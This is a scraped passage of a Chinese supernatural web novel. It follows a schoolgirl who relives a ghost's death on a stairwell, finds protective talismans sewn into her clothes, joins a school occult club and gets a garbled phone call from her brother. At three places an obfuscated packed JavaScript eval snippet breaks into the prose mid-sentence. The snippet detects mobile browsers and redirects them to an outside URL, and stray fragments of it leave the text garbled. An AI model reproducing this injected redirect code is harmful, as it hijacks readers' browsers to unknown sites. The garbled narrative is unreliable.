时间已然被扭曲成了安然不认识的样子。也许是几秒,也许是几分钟,她才终于等到姜慧从崩溃中清醒过来,像是鼓足了仅剩的所有勇气才敢继续朝着身前的黑暗踏去。 姜慧脚步里的迟疑和迫切,没有人比安然更能体会其中的涵义。尤其是当那个代表楼层数的‘2’再次映入两人眼中时,安然甚至分不清自己是失望比较多还是坦然多一些。 姜慧狠狠咽了口唾沫,但感受到口腔充斥的血腥味并没有因此而缓解,相反甜腥味儿更甚。 咚。 咚。 咚。 头顶的楼道微微震颤,听声音像是有什么正从楼上下来。 安然心中焦急,恨不得自己代替姜慧继续跑,但奈何正主像是被那声音彻底吸走了所有的注意力,只留她这个太监干着急。 咚。 咚。 咚。 声音更近了。 安然感觉那东西要么很重,要么就是跳着走的,否则一般的正常人走路很难发出这样的声音。她刚这么想就听姜慧对着头顶的黑暗喊道:“夏澄澄?” 没有人回应。 “林...梓露?” 回应她的只有无尽的黑暗。 咚。 咚。 咚。 声音在靠近,安然甚至觉得她们和那东西之间的距离不足一层。 快走啊!!! 别看了!!! 那东西就要... 安然的呐喊倏地停下。 姜慧... 姜慧不是不想跑...陷进扶手的指甲和深深扎进肉里的木刺像是在对安然诉说着她有多想离开这里,她的迫切不比自己少。 但她跑不了。 之前一直强行压抑着的恐惧,再也压抑不住。安然这才发现如果不是有扶手支撑着,姜慧甚至快要站不住了。 一鼓作气,再而衰,三而竭。 姜慧只是一个普通的高中生,哪怕因为之前的欺凌而变得善于忍耐,但人总有极限。 咚。 咚。 咚。 声音近在咫尺,屏住的呼吸是姜慧最后的挣扎。 咚。 声音戛然而止。四周安静的出奇。安然耳边是姜慧犹如擂鼓的心跳,宛如黎明前的黑暗,有什么即将破土而出。 “嗬嗬嗬...” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850071|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧僵硬地看向声音传来的方向,顺着她的目光,安然看到了一张脸,一张惨白、五官扭曲的脸。 如同压倒骆驼的最后一根稻草,姜慧脑中那根紧绷的弦彻底断了,失去理智的尖叫几乎要穿破整栋教学楼。强烈的晕眩感让安然陷入了短暂的失神,只觉得脚下一软,整个人失去了平衡,不受控制地朝着身后的楼梯倒去! ******** 安然猛地睁开了眼。呼吸急促,双眼空洞无神,似是仍没从刚刚那种骨骼移位的痛感中清醒过来。她甚至在跌下楼时听到了对方颈骨断裂的声音。 身体砸向水泥台阶时发出的闷响让她忍不住捂住了耳朵,但这种自欺欺人的行为却收效甚微。濒死的痛苦并不好过,双手从耳边移开无意识地护住了脖子,哪怕她能清晰地意识到自己不再是姜慧,但痛感和恐惧似乎也跟着她一同穿越到了现在到身体。 直到强忍地泪水从眼眶里滚落,滚烫的温度将她从冰冷的死亡中唤醒,她才扶着墙面慢慢靠坐到台阶上。 姜慧死了。 她本来以为姜慧一开始给她看的经历是预示着她将死在霸凌者手里或是不堪霸凌而选择自杀,然后像是小说描述的情节那般希望自己帮她找到凶手或是伸冤,可现在的真相是:她死在了一场荒诞的灵异游戏里。 还有姜慧意识彻底消失前,自己透过对方视线看到的那团朦胧的光... 是幻觉么? 还有额头抵着的那种触感...像是什么冰冷的,僵硬的,没有一丝温度的东西。 是...墙面吧? 楼梯拐角那里除了墙面应该也没别的了。 安然用力摇了摇头,似是想将有关姜慧死时的记忆全部晃出去。 现在呢? 怎么办? 难道要把那个杀死她的鬼找出来,让他们互殴么? 一个都没搞明白,还要再去招惹另一个? 她觉得但凡智商大于25都干不出这么脑残的事。 安然自嘲地勾了勾唇,各人自扫门前雪,莫管他人瓦上霜。自己手头还有一堆事没解决,她也是实在没有闲心也没那个能力帮助姜慧什么。 姜慧很可怜,死的也很冤,可归根究底这是她自己的选择。安然也不觉得自己有替她报仇或是善后的义务。 但她的手还是轻轻按住脚踝的位置。 那种和对方在某一时间感同身受的感觉,让她在面对鬼脸时已经不再像之前那样排斥和恐惧。 如果这个世界真的像老头子的故事那样有地府或是轮回的话,她希望姜慧能安息。 安然下了楼,月光顺着被蜘蛛网和灰尘交织在一起的玻璃窗照射进来,在地面上投下斑驳而昏暗的光。实验室的大厅和之前她进来的时候一样,空旷而静谧,唯一不同的是之前开着那道门缝不见了。 她快走几步,也顾不上扬起的灰尘,径直走到了大门前。 果然大门自外被上了锁。 透过门缝,她看到了一圈圈缠紧门把的锁链以及垂在下面的那把巨大的锁。 大门肯定是走不了了,安然将门重新拉回原位,将目光落在了大门边的两排窗户上。 窗户不小,要是能打开,她倒是不愁钻不出去。 安然试着开了一扇窗,好在没有预料中窗栓上锈的情况,学校也没鸡贼到在窗户外上锁。挑了扇视野相对偏僻一点的窗子,她可不想刚出去就和哪位老师撞个正着。 ‘铃——’ 这铃声犹如天籁。 安然抓住时机,推开窗,翻身一跃,朝着学校大门的方向奔去... 20. 第20章 一连两天,安然身边都没有出现什么特别的事,除了班上那个新来的转校生。 早知道会是眼下这状况,她当初怎么也得先把脸蒙上再找他帮忙。 “喂,你怎么都不理我啊?”秦以淮趴在桌子上,一脸哀怨地看着正在读单词的安然,半点没有之前站在台上自我介绍时的高冷。 安然连瞥都懒得瞥他一眼,眼观鼻鼻观心,视线始终不离课本,完全没有要搭理他的意思。 “还是说是我...做错了什么?”秦以淮声音不大,但也不小。 安然不明所以,刚想问他又要搞什么花样,没成想却和对方狡黠的目光对了个正着。她心中瞬间涌起了不好的预感,想要阻止,却已经来不及了。 果然下一秒,就听秦以淮语气落寞:“明明那天的你不是这样的...” “我的白衬衫上现在还留着你的印记...还是说你们女生就是这样,一旦得到自己想要的,就翻脸不认人…” 周围有人倒吸了一口冷气,明显也听到了这让人浮想联翩的话,一个个瞪大了眼睛,一脸‘我去,什么情况’的表情看着他们。 坐在安然身后的男生更是一口水没咽下去,直接喷了出来,要不是秦以淮眼疾手快拿书挡住,安然恐怕难逃‘湿身’的命运。 秦以淮手一松,那本沾满水的书便重新掉了回后面的桌上。他凉凉的看了对方一眼,语气听上去却格外柔和:“小心点哦。这位同学。” 男生瑟缩了一下,接过同桌递来的纸巾,一边擦一边还不忘道歉:“不...不好意思啊...” 秦以淮的这手‘英雄救美’看的周围几人目瞪口呆。离得稍远的人不明就里,那几个全程看完‘案发经过’的就在一旁有模有样的解说,时不时还有“啊?”“我去”“真的假的”之类的感叹词传进安然耳中。 然后她便喜提了更多逡巡在他俩之间八卦探究的目光。 偏偏引发出一系列糟心事的当事人跟瞎了一样,还和其他人一样眼巴巴地盯着她瞧。 如果眼神能杀人,秦以淮估计早就被安然砍的七零八落了。 但很可惜,不能。 眼看着那些人的眼神越来越奇怪,她只能放下手里的书:“上次的事...谢谢你了。还不小心在你衣服上留下了脚印,实在不好意思...衣服多少钱,我现在转给你...” 周围一众吃瓜群众在听到留在衬衫上的东西是脚印时,纷纷露出了‘老子裤子都脱了,你就给我看这?’的表情。一个个蔫头耷脑像是霜打的茄子,没有了八卦的调剂,只能各忙各的去了。 毕竟今天可是有英语单元测呢。 大家有眼睛都看得到最近英语老师因为万胜柔的案子情绪相当的暴躁,一来教室不是抽查就是在准备抽查的路上。 课文、单词背的所有人苦不堪言。 这事儿,安然也有耳闻。 说是英语老师曾在班上狠狠批评过万胜柔一顿,第二天人就失踪了。 而眼下万胜柔更是被人找到了尸体,该查的该问的一样都少不了,于是各种流言蜚语,猜想臆测更是满天飞。 英语老师自然而然也就成了流言里的一员。 所以谁都不想在这个时候去触他的霉头。 见教室恢复了常态,安然才微微侧身,看向秦以淮压低声音:“你到底想干嘛?!” 秦以淮没有说话,那双好看的凤眼微微垂着,一张脸委屈巴巴,像在控诉对方为什么要凶自己。 安然无语地翻了个白眼,她很想说‘你有病吧?有病赶紧回去吃药’。但一贯的教养让她将这句即将脱口的话生生咽了回去。秦以淮帮了她,这是不争的事实。如果不是对方非要霸占属于丁筝的座位,安然觉得自己大概不会这么讨厌他。 见安然似乎真的有些不高兴了,秦以淮这才收了玩闹的心思,声音带着说不出的疑惑:“你讨厌我?” 安然看了他一眼,那眼神似是在说‘我表达的还不明显?!’ “可为什么啊?那天...咳...”秦以淮不自在的咳嗽了一声:“你不是还觉得我挺好看的么?” 安然瞥了他一眼,那眼神像是无语他怎么能说出这么弱智的问题。随即又像是想到了什么,眼眸半阖,一侧唇角轻勾,故意将声音压低,语气阴恻恻地:“我还觉得我家养的猪可爱呢,但我杀它们的时候也没心软啊!” 秦以淮一愣,呆呆地看着安然说不出一个字。 安然在心里‘切’了一声,就重新拿起英语书,将所有的注意力都放在了单词上。 ********* 没了秦以淮时不时的骚扰,安然今天的课上的顺畅了不少。 偶尔瞥见对方发呆,也会忍不住在心里嗤笑:这么个涉世未深的单纯少爷也敢独自来民间吃苦,家里就不怕被拐到大山里当童养夫么? 但这念头也就一闪而逝,她可不觉得秦以淮是被自己那句话给吓傻了。 那家伙一看就不是什么省油的灯,既然他想在自己面前装傻白甜的人设,那安然也乐的配合。 随着放学铃声响起,班上的学生转眼便散了个七七八八。 很快教室里便只剩了安然、陈温柔、林盛阳还有从下午开始就一直趴在桌子上睡觉的秦以淮。 自打拿到那东西,安然就没再和陈温柔她们说过话,彼此之间像是各自遵循着什么不存在的法则般互不干涉。 也许因为今天是三天期限的最后一天,陈温柔和林盛阳都没有急着离开,而是不慌不忙地整理着书本。 安然自然明白两人的用意。徽章和白纸就在她的口袋里,只要拿出来放在她们面前,就算完成了所谓的测验。 她就有机会去查丁筝那段时间究竟都做了什么。 但她犹豫了。 或者说她害怕了。 安然垂眸,记忆回到了离开实验楼的那天晚上。 从网约车上下来的时候,周围已经是一片漆黑,杏花街自不必说,就连这附近街道也都零零散散看不到几个人影。 下车的时候,司机师傅欲言又止,最后安然只能解释说家人很快就会来接自己,对方才松了口气似的调头离开。 因为下午校服外套在水潭里弄湿了,安然吃过饭便索性洗个澡,将身上的衣服全部换下来放进了洗衣机里。可当她脱下衬衫时,却发现内衬胸口的位置不知道什么时候破了个洞。 里面还有灰色的水渍不断渗出来。安然忍着恶心将手伸了进去,没一会儿就扯出了一个淡黄色小布包,上面破了个洞,那些灰色污水就是那儿流出来的。 安然扯着布袋的一角抖了抖,一团潮湿类似泥土的东西掉在了她的手心。 什么东西? 她放在鼻子前嗅了嗅,什么都闻不到。 安然重新拿起被扔在一旁衬衫,眸中闪过一丝疑惑:内衬原来就是这样的么…这东西又是什么时候缝上的? 蓦地,安然似是想到了什么,扔下手里的衣服,径直朝着楼上跑去。 阳台上挂着安然的校服,她将上次去厕所穿着的那件拿了下来,用剪刀在同样的位置剪出了一个洞。 果然。淡黄色的一角从破口处露了出来。 她用力一扯,那淡黄色的小东西便被她轻松拽了出来。 只是这回是被封死的。 安然用剪刀一戳,里面的灰色粉末便洒了出来。她将剩余的粉末倒在掌心,质感很细腻,有点像是什么东西燃烧后的灰烬。 安然拿着布包回到房间,从香炉里捻了一小撮香灰,放在掌心,手感竟然和刚刚的东西十分相似。 香灰? 她的衣服里…怎么会有香灰? 或者… 是别的什么东西。 将手上的粉末一股脑拍进了垃圾桶,安然看向房间里的衣柜,随便拿了件衣服,翻开内衬,在胸口的位置剪了个小洞,果然,露出了熟悉的淡黄色。 她将东西拿出来,熟练的拆开,只是这一回,里面不是什么灰色粉末而是一张叠成三角形的黄纸还隐隐透出些微的红色。 符… 所以那天在厕所濒死时感觉到的灼热—— 果然是因为老头子。 手中的符箓和她在电视里看到的也不太一样,符纸的颜色更暗,折的也更小。 安然没见过老头子画符,她甚至不知道他还有这一手… 所以老头子是什么时候把这些缝进她衣服里的? 自己一直以来竟然从来都没有察觉到过。 想到这儿,安然唇角勾起一抹自嘲,真要被那会儿的自己知道,保不齐又要和老爷子大吵一架,估计还会把这些统统找出来扔进垃圾桶。 如果是那样... 安然没有继续往下想。她不喜欢对没发生的事情做假设,她也同样不喜欢这种被蒙在鼓里只能胡思乱想踩不到实地的感觉。 她想要再翻一遍衣柜。她迫切地想要知道在自己不知道的时候,老头子偷偷为她做了多少事。 黄符刚放到桌上,安然的手指就不小心碰倒了旁边的水杯,她刚想去扶住杯子,却已经慢了一步,里面的水直接洒了出来。 担心符被打湿,安然又赶忙去拿符纸,令人震惊的一幕出现了:洒在桌面上的水竟然像是活过来了一般,直接绕开了桌上的符箓... 安然呆呆地看着,一时间竟忘记了动作。 这不是她这两天见过的最惊悚的一幕,但却是最直观的一次。 如果说鬼魂用科学的解释是人类残留在人间的一种能量磁场,自己能看见鬼,是因为某一时刻他们彼此的磁场重叠,那刚刚发生的一切就彻底超过了能用现有的知识解释的范畴。 直到桌上的水顺着桌沿滑落,在地板上积了一小摊水洼,残留的水珠发出滴答滴答的声响,安然才如梦初醒般拿起桌上的符纸,透过头顶的灯光,她只看到了几道纵横交错的红痕,像是字,又像是某中特殊的图案,除此之外,看不出任何异常。 她将衣柜里所有的衣服都拿了出来,随后一件一件的拆。 直到将近凌晨3点,安然才放下剪刀取出最后一个布包。 看着床上散落的衣服和那一个个淡黄色的小布包,酸涩的感觉堵在胸口,闷闷的。 竟然...每一件都有。 她想象不到老爷子花了多少时间画这些符,又花了多少时间将它们一一缝好,更想象不到他在缝这些的时候是抱着怎么样的心情。 所以…老头子这么做,显然是知道什么,而不是单纯的防患于未然。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850072|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安然拿出两个放进衣服口袋里,将剩下的符箓一股脑全都全部放进床头柜的抽屉里,但动作到一半,突然停了下来,如果这些符箓防水... 那今天自己换下来的衣服里那些灰烬为什么是...湿的? 是因为已经是灰烬的原因么? 不。 之前校服里的符纸同样烧成了灰烬,哪怕洗了,仍旧是粉末的状态。 所以... 浸湿这些符箓的水不是一般的水… 被冰凉潭水吞没的窒息感和那如魅魔般极尽诱惑的低喃也不是她的幻觉,她是真的对那个不知道是什么的东西许了愿!!! 好不容易从回忆里挣脱开来。 安然按了按额角,哪怕灵异社不是将她引到水潭的主谋…恐怕也和幕后黑手脱不了干系。 这下口袋里的徽章彻底成了块烫手的山芋,留也不是扔也不是。 笔尖一下下点在书页上,晕开一个墨黑色的点。她很少有这么犹豫不决的时候。 但时间不等人,她已经犹豫的够久了。 笔尖停留在纸上,印下了最后一个圆点。 这事得解决。 不管出于什么原因,她的确是被某个人或是某个东西盯上了,她不能永远等着爷爷或哥哥来帮她,他们总有赶不回来的时候,就像好比现在。 而灵异社是唯一摆在她眼前的线索。 既然人家已经打上门了,那她也没有退缩的道理。 夕阳的余晖透过窗户落在安然的发丝上,为她的眉眼平添了几分坚毅。 她起身走到了陈温柔和林盛阳的面前,将口袋里的徽章和纸条一并放在了的桌上。 但出乎意料的是,看到东西的陈温柔和林盛阳的脸上并没有露出欣喜,她们先是一愣,而后一脸不可思议地看向了安然... ******** 安然在事后才知道,灵异社说的带有灵异社标志的东西根本就不是那个徽章。 据说拥有八卦徽章的整个灵异社只有8个人,分别对应着八卦中的八个字,他们都是灵异社的骨干。 而安然找到的那枚写着“兑”字的徽章已经消失很久了。 灵异社的前辈们也想过重新再打造一枚,但那8枚徽章是第一任社长做的,具体用了什么材质,谁来打造的,没有人知道。 重新做出来的‘兑’字徽章要么材质不对,要么款式怪异,哪怕拿着其他模板去定做,做出来的东西也会变得奇形怪状。尤其是后来发生了一件怪事后,灵异社的前辈们就再也没提过重新打造的事了。 安然有些好奇,问发生了什么。 陈温柔摊手:“我也很好奇,但知道的当初发生过什么的人都毕业了。孩子都好几个了…” 安然没当真,权当故弄玄虚,一个学校都不承认的社团,又能有多久历史。 没多久,两人带着安然走到花坛边,陈温柔拉着她走到一旁,指着身前的老榕树:“看到了么?” 安然顺着手指的方向皱眉:“看到什么?” “树身上刻印的太极八卦图啊!” 被陈温柔这么一提醒,安然还真在树身上看到了一个模糊的比兵乓球还要小上一圈的八卦图形,而且看树皮的状态,年头似乎不短。 “这就是你们说的带有灵异社标志的东西?”安然在心里忍不住吐槽,这么隐蔽谁看得到啊... 陈温柔不知道是看出了安然的想法还是曾和安然一样吐槽过,白眼翻到一半:“和灵异社相关又不会轻易被其他人拿走,很符合考验的要求啊!再说了社团里会有一些灵异相关的活动,要的就是胆大心细,胆子不够大容易一惊一乍,心不够细就很容易出事...走,我带你再去别的地方看看...” 安然自打知道是自己会错意,对灵异社的防备值就下降了不少,也打定了主意查清楚丁筝的事就立马退出,这会儿听陈温柔说这样的符号其他地方还有,也忍不住吃惊:“还有?” 陈温柔回头冲着安然露出个意味深长的笑:“比你想象的要多得多...” 一路上,经过陈温柔的这么一指点,有这种太极八卦图标志的东西还真不少:花坛、食堂、教学楼、实验大楼、体育馆...几乎所有地方都有。 而且年头都不短了,看字体模糊和岁月侵蚀程度,最少有个十几年,或许还不止。 “这些都是你们弄得?”也难怪安然吃惊,这些八卦虽然没有在十分明显的地方,但要说隐蔽其实也算不上。最主要的是来这里都一个多学期了,她竟然一点都没有注意到。 陈温柔耸肩:“前辈说是以前的前辈们弄的。” “就是为了考验新成员?”安然觉得这也有些太大费周章了。 陈温柔摇头:“不是。过去想要进灵异社超级难的,后来也不知道怎么回事,就成了现在这样了...终极考核就是能单独找出学校这些八卦图型的任意一个,并在纸上写上地址就可以了。” 安然若有所思,想到刚刚拿出去的东西,还是问出了心里的疑惑:“这么简单?” “也不简单了。你也发现到了吧?不是所有人都能主动注意到那些太极图案的...” 安然垂眸,遮住了眼底的疑惑:“那我这算是成功了?” 21. 第21章 “肯定是成功了啊!这个也是带有灵异社标志的东西啊!”陈温柔拍了拍自己的口袋:“还超额完成了任务呢!我今晚就把这事跟社里的前辈说一下,大概明天就能有结果了!” 她的态度明显亲近了许多,看样子是已经将安然当作了自己人。 安然对陈温柔点点头,目光却下意识扫向身侧的林盛阳。 林盛阳看上去越发的沉默。比起之前偶尔还能和她说上几句话,但这一路陈温柔不止一次将她走神的思绪拉回现实。她看了眼对方被遮得严严实实的手腕。 难不成... 也许是她目光里探究的意味太过明显,林盛阳下意识拽了拽衣袖,看向陈温柔:“温柔,既然任务已经完成了,那咱们也回家吧。” 和二人告别,安然走回教室,之前趴在桌上睡觉的秦以淮已经离开了。 安然瞥了一眼,也没太放在心上。 但当她拿起背包准备离开的时候,却发现自己的背包上多了一个毛绒挂件。看不出是什么动物,毛茸茸的倒是很可爱。不用看也知道是那个自来熟的秦以淮的杰作,毕竟这个班除了丁筝和她亲近一些以外,还真没什么人能熟到给她送礼物。 安然想都没想就准备把挂件拆下来,没想到这挂件上还挂着一张纸条:【别拆!虽然不知道哪里惹你讨厌了,但都是我的错!希望这个小东西能让你消消气!】后面还附赠了一张有些傻乎乎的笑脸。 这字... 啧。 安然挑眉地看着这仿佛小学生笔迹的字体,是和对方精致的长相还真的是天差地别。 指尖下的触感异常柔软,安然眼眸半阖,看着手中的挂件,眼中的深思一闪而过。秦以淮顶多算是帮过她忙的有过几面之缘的陌生人,甚至连同学都算不上,如果不是他非要霸占丁筝的位置,估计就算毕业了和他也说不上十句话。 相对的。 于秦以淮来说,自己也是一样。 而且看他对其他人礼貌又疏离的态度,也不像是天生的自来熟,她更不信他那套一见如故的说辞。 安然将挂件拆下来,刚打算放进对方的抽屉,就见那里竟然也贴着一张纸条:【你竟然真的拒绝了这么可爱的挂件!这可是限量版哦,有钱也买不到的那种!所以如果你真的不喜欢,还请见面的时候亲自还给我吧!!!】 最后还配上了一个委屈巴巴的表情。 看着纸条上那三个加粗的感叹号,安然微微皱眉,倒不是因为纸条上的内容,而是书写的字体。相比于第一张,这张字迹明显工整了不少,也顺眼了许多。 按理说一个人的书写习惯是没那么容易改变的。 她将两张纸条放在一起对比,果然,笔锋和下笔轻重的习惯是一样的。 故意的么?可理由呢...? 安然最后还是将挂件放进了背包,连带着那两张纸条。不管这东西是不是真如对方说的是限量版,当面还给对方才是最好的选择。 ———————————— 杏花街难得有些热闹。 看到街两边卖菊花的小贩,安然才惊觉竟是快要清明节了。 街边来来往往的人几乎人人手里都拎着个红色不透明的塑料袋。和别家用纯黑的袋子不同,整条杏花街的铺子用的都是这种大红色塑料袋。 印象里,安然问过老头子这事儿来着,老头子却是难得的含糊其辞。后来经不住好奇就跑去问其他铺子的熟人,没成想得到的答案竟然出奇的统一:红色招财。 据他们说杏花街在吃完那段怀旧福利后没多久便彻底破败了下来,整条街上就没有一间赚钱的店铺。就在所有人都在猜测这条街什么时候会被拆除时,就传出了整条街被几个大佬给全部盘了下来。 他们也不对外出租,就那么空置着。 有人感叹有钱人就是任性,也有人说商人逐利,估计这里很快就要开发成别的什么商业基地了...就在所有人都猜测着杏花街的命运时,却没想这里一空就是好几年。 直到几年前,才重新对外招租,不仅租金出奇的便宜,要求也很奇葩,租来的店铺只能做白事生意,还提醒店主们最好用红袋子。 可不是什么喜事的铺子,用啥红袋子… 但不管啥年头,有钱的都是爷,想着或许是大佬的啥癖好,也就听了“劝”。 但当时有家铺子不信邪非要用黑袋子,没想到开店一个多月愣是一单不开。直到被逼无奈死马当活马医地换上了红袋,结果当天就开张了。 红袋子招财,就这么在店主间传了开来。 “喵呜...” “喵呜...” 眼看着就快要到家,安然却听到了微弱的猫叫。 这倒是稀奇了。不知道是不是气场的原因,杏花街上少有猫狗,就连一般老街都会有的老鼠蟑螂都很少见,就算偶尔有遇到,基本也都是在街口。 但稀奇归稀奇,安然一向对毛茸茸的东西不感冒,也没有上前去看看的意思,径直朝着自家的漆红大门走去。 “喵呜...” “喵呜...” 那小猫也是有灵性,见安然不搭理自己,竟然自己晃晃悠悠地跟了上来。 安然回头,就见一只纯黑没有一丝杂色的小奶猫跟在自己身后,看上去应该出生没几个月,只有巴掌大小,路都走的不算稳当,一双眼睛圆圆的,还是一金一绿的异瞳,对着她喵呜喵呜地叫着,像是在卖萌。 可惜这媚眼抛给了瞎子看,小猫估计也没料到这人竟如此铁石心肠,非但没有等它的意思,还在它不好容易靠近的时候把门给关了。 回到家的安然,一开始还隐隐约约听到猫叫声,等到做好饭菜再端到饭桌上,门外已经没有彻底没了动静。 饭还没吃几口,放在桌上的手机就发出了嗡嗡嗡的震动。 她拿起手机一看,竟然是一串陌生号码,看样子还是座机打来的。 安然只犹豫了一秒,就按下通话键:“喂?” “...安...然...然...么?”电话那头似乎信号不怎么好,声音断断续续:“...我是...哥...哥...” 安然欣喜:“哥?哥你那边怎么样?你和老头子...” “然然...你...听...听我说...”电话那头却打断了安然剩下的话:“不管你遇到了什么...那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850073|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都...都不是幻觉...你...你现在回答我...你看过它死亡的...过...过程了么? “谁?哥你说谁?” “出...出现...在你身上的东西...”哥哥的声音有些急切:“你看...看到...到了么?” “哥...你...”安然想问她哥,他怎么知道的。 却被那头粗暴的打断:“回到我!安然!你...你看到了么...” “我看到了。” 电话那头蓦地沉默了,安然只能听到兹拉兹拉的电流声:“哥?” “安然...你听着...你要在它...它消失之前找出它出现的原因...切记...一定...一定要在它消失前...我和爷爷会...会尽快赶回去的......” “哥?哥!” “嘟嘟嘟嘟...” 安然茫然地听着电话那头嘟嘟嘟的忙音。 她想都没想直接拨了回去。 “您拨打的电话是空号,请核实后再拨...”冰冷的机械女音像是一盆冷水兜头泼下将她泼了个透心凉。 怎么会... 安然不死心,又连着拨了好几个回去,但听到的都是空号的提示音。 她沉默地放下手机,似是已经认清了电话打不通的事实。 头顶明亮的灯光落在几乎没怎么动的饭菜上,却赶不走安然眼底的阴霾。半垂的眸子失神了好一会儿,才如梦初醒般拿起筷子,夹了一口已经凉掉的饭菜。 冰冷的饭菜已经不似刚刚那般可口,她一口一口地细嚼慢咽,味蕾却失灵了般尝不出任何味道。 等到将碗里的饭吃完,混乱的思绪才勉强理得清楚了一些。 她深吸一口气,缓缓揽起裤管,露出了脚踝上属于姜慧的那张脸。 那双纯粹的杏眼仍旧隐含笑意,但此刻在安然看来却像是在嘲笑她的天真。姜慧五官并没有异常,有异常的是她的头发。原本垂落在脸颊两侧的长发已经若隐若现,像是下一秒就会消失不见。 是了。 花了那么多力气附在她身上,总归不会只是想让她看看自己的过去。倒是她自己,自作聪明的以为在某一刻和对方感同深受,就对人施以同情。 殊不知人活着的时候,同情就最是廉价,更何况死后。 安然不知道姜慧彻底消失具体需要多久,但距离看到对方死亡还差...1个小时30分钟左右便正好3天。 她哥说要在姜慧消失之前找出她存在的理由。 可她上哪儿知道姜慧存在的理由...? 安然记得老头子曾经说过鬼魂的成因,但她那时候权当老头子胡诌,压根就没怎么认真听,这会儿饶是她使劲搜刮记忆,也挖不出半点有用的信息。 但她知道一点,鬼魂能存在就一定有其原因,那个就是它们滞留人间的理由。 可姜慧既不是被人害死,又不是受尽屈辱自杀... 安然撑着下巴,看着桌上的残羹很想想出一些更有建设性的理由,但奈何她的玄学知识实在贫瘠,脑子里实在想不出还有什么原因能让人死后变成鬼。 难道...… 22. 第22章 夏澄澄! 或许姜慧的执念就是夏澄澄… 安然不懂鬼魂是不是有什么生存机制,但死了还保留着关于对方的记忆,总归是有些不同意义的。 她觉得这勉强能算一个突破口。 虽然夏澄澄死在了那场通灵游戏里的概率很大,但归根究底姜慧并没有看到。 也许,她知道夏澄澄的死讯后,执念也就消失了。 想到这儿,安然拿出手机,开始查06年有关一中的新闻,如果当初的6人全部都死亡,这在任何一间学校都算的上重大新闻。 所以哪怕时间过去了这么久,留下蛛丝马迹的可能性也非常大。 但让安然意外的是,手机上别说有学生死亡了,就是关于一中负面新闻都没有一条,她换了好几个搜索引擎,跳出来的都招生信息、院校网站、喜报还有一些询问一中教学质量的询问贴。 不甘心地继续往下划,一条噱头十足的新闻标题突然映入了安然的眼帘:【惊!史上最年轻元宇宙CEO在参加校庆后离奇暴毙】 她刚想滑走却看到新闻的关键词竟然是他们学校,想了想,安然还是点了进去。 照片上的男人有些眼熟。 校庆… 上个月他们学校好像也举办了校庆…对了,之前王皓还吐槽来着,说要不是那几个大佬回校参加校庆,老校长还不会给他们男生换寝室来着。 想到这,她似乎有了点印象,那人当时演讲的时候意气风发,也不像是有隐疾的啊… 不会是无良媒体瞎说的吧?! 不过这事跟她关系也不大,安然退出界面,又搜了半天,还是没有一条有关06年死亡事件的新闻。 安然垂眸,看来他们学校的公关做的相当到位,…网络查询的路是走不通了。 还有什么办法… 安然眸光一动。 还真有个法子! 姜慧05年的时候是在上高二,那么就是04级学生。那么她只要进档案室查一查06届毕业生情况就能知道夏澄澄最后的结局了! 这下解决的办法是有了,但档案室并不是谁都能进的,她又要怎样才能神不知鬼不觉地进学生档案室… ********** 直到洗漱完躺在床上,安然也没能想到进入档案室的方法。 裸露的脚踝上,姜慧的头发已经不见了。本来这会儿看上去该是有些滑稽的,但她却笑不出来。 天知道姜慧什么时候就会彻底消失不见。听她哥焦急的语气,如果在姜慧消失前,自己还找不到她的存在的原因,估计会有大麻烦。 会死么? 安然不知道。 她有些泄气地躺倒在床上,想起最近的遭遇,发泄般狠狠跺了几下身下的床铺。木制的床板似是经不起主人的这般瞎折腾,吱呀吱呀叫了两声。安然却像是找到了发泄的途径般开始在床上撒泼打滚。 没多久,一张床铺便似是遭到了什么惨不忍睹的蹂躏般,床单被子枕头蔫嗒嗒的挂在一角。反观罪魁祸首倒是脸颊微红,眉眼轻挑,一副餍足的样子懒懒靠在床头。 果然,老祖宗诚不欺人。 运动使人快乐。 这么一通发泄,也让她记起来了点自己的‘看家本领’。 她其实跟着老头子还是学了点实用本领的,而且她还自认颇有天赋。只是许久不用,手生肯定难免。想到这儿,她拉开床头柜,一通翻找后,终于翻出了两根不算很长的铁丝。 说起开锁的本事,要追溯到她小学一年级的时候了。 别看老头子一张嘴皮子说的头头是道,但丢三落四的毛病真是说上三天三夜都说不完。安然一度怀疑自己丢东西毛病就是从老头子那遗传来的。 当老头子再一次接她回家发现自己没带钥匙,就琢磨着先带安然出去溜达溜达等她哥回来。但偏巧安然那天肚子疼,说什么也不走,就要回家上厕所。 老头子好说歹说,换别家厕所也不肯,一张小脸憋得通红,老头子怕给孩子憋坏了,只能赶忙开锁。 哪知这一手就让安然给惦记上来。 天天跟着他屁股后面要学开锁。老头子自然不敢教。安然也是个硬气的,老头子不教她就自学。终于在不知道弄坏了第几个锁划破多少次手掌后,老头子妥协了。 